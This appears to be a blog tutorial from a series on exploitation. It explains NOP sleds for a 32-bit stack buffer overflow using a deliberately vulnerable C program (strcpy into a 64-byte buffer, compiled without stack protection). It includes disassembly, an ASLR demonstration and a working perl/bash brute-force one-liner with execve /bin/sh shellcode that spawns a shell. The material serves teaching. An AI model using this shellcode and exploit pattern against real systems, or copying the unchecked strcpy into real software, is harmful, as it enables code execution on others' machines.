NOP sleds

(This is part of my series on program vulnerability exploitation.)

In the following program, the register eax no longer contains the address of buffer at the end of the execution of the function vuln():

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int vuln(char *s)
{
    char buffer[64];
    printf("buffer is at %p\n", buffer);
    strcpy(buffer, s);
    return 1;
}

int main(int argc, char **argv)
{
    if (argc == 1) {
        fprintf(stderr, "Enter a string!\n");
        exit(EXIT_FAILURE);
    }
    vuln(argv[1]);
}

Indeed, we see that it contains 1:

$ gcc -fno-stack-protector -z execstack -m32 -O0 -std=c99 -pedantic -Wall -Wextra -o vuln7 vuln7.c
$ objdump -d vuln7 | nl
[...]
   121  08048494 <vuln>:
   122   8048494:       55                      push   ebp
   123   8048495:       89 e5                   mov    ebp,esp
   124   8048497:       83 ec 58                sub    esp,0x58
   125   804849a:       b8 00 86 04 08          mov    eax,0x8048600
   126   804849f:       8d 55 b8                lea    edx,[ebp-0x48]
   127   80484a2:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
   128   80484a6:       89 04 24                mov    DWORD PTR [esp],eax
   129   80484a9:       e8 d2 fe ff ff          call   8048380 <printf@plt>
   130   80484ae:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
   131   80484b1:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
   132   80484b5:       8d 45 b8                lea    eax,[ebp-0x48]
   133   80484b8:       89 04 24                mov    DWORD PTR [esp],eax
   134   80484bb:       e8 e0 fe ff ff          call   80483a0 <strcpy@plt>
   135   80484c0:       b8 01 00 00 00          mov    eax,0x1
   136   80484c5:       c9                      leave  
   137   80484c6:       c3                      ret    
[...]

which is the return value of the function (so if you were wondering how return values are passed, you now know that they are passed in eax). So we can’t use the technique of the previous post.

What can we do instead? The obvious answer of writing as return address the address of buffer is not realistic, because we generally have no way to know it exactly. For one thing, modern systems have a protection called ASLR (Address space layout randomisation), which makes it change to a random value on every run of the program, as we can see by running it a couple times:

$ ./vuln7 123
buffer is at 0xffda1ba0
$ ./vuln7 123
buffer is at 0xff8f26e0
$ ./vuln7 123
buffer is at 0xffd79d60
$ ./vuln7 123
buffer is at 0xff924620

But even without this protection (which we can also disable), the address will be different on different systems. This wouldn’t be so much of a problem if we didn’t need to know exactly the address to which we need to jump (as it stands, we need to jump exactly on the address of the first instuction of our shellcode, even one byte before or after will not work). In other words, we want to have some “wiggle room”: an area of memory, as large as possible, such that our attack will work if we jump anywhere into it. This is what NOP sleds do.

The idea of a NOP sled is very simple: we populate a large area of memory with bytes 0x90. 0x90 corresponds to the CPU instruction NOP, which does nothing. If we have a large area of NOPs, and our shellcode after it, we can jump anywhere into the area of NOPs, and the CPU will just “slide” to the end, and execute the shellcode which will be waiting there. Visually, it loos like this:

|                |
+================+
|                | <- esp
+----------------+
| buffer         | <- ebp-72
| (64 bytes)     |
|                |
+----------------+       frame of vuln()
|                |
+----------------+
| old ebp        | <- ebp
+================+
| return address |
+----------------+
| NOP            |
|                |
~                ~
|                |
+----------------+
| shellcode      |
|                |
+----------------+
|                |

This is somewhat dirty, since we need to overwrite a large area of memory, and also unreliable because, since we will choose our return address more or less randomly, it might not always be inside the NOP sled (of course, the larger the sled, the higher the probability of success). But eventually, it will work (we use as return address an adress of buffer from a previous run; it is very unlikely that we will get the same address again, but it is good enough):

$ for i in $(seq 1 10000); do echo $i; ./vuln7 $(perl -e 'print "1"x76 . "\xa0\x1b\xde\xff" . "\x90"x100000 . "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'); done
[...]
52
buffer is at 0xffd8a4b0
sh-4.2$ 

Leave a Reply

Your email address will not be published. Required fields are marked *